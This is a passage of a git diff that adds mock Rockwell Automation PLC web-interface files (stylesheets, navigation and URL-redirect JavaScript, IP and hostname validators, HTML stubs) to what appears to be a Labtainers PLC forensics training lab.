Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/diagover_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits.html new file mode 100644 index 000000000..f6106fc4b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits.html new file mode 100644 index 000000000..9fb4deee4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits.html @@ -0,0 +1,120 @@ + + +Rockwell Automation + + + + + + + + + +
+ + + + + + + + +
Edit UsersEdit Access Limits
+ + + + + + + +

+ + + + +
+ + + +
+ + + + + +
DeleteAccess LimitGroup With + Access
+
+ + + +
+ + + + + + + + + +
Add an + Access Limit
URL:
Group:

+ + + +
+ + + + + + + + + +
RA + System Access Limits
Hide System Access + Limits
 Restore + Default System Limits +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/editlimits_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/editlimits_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; 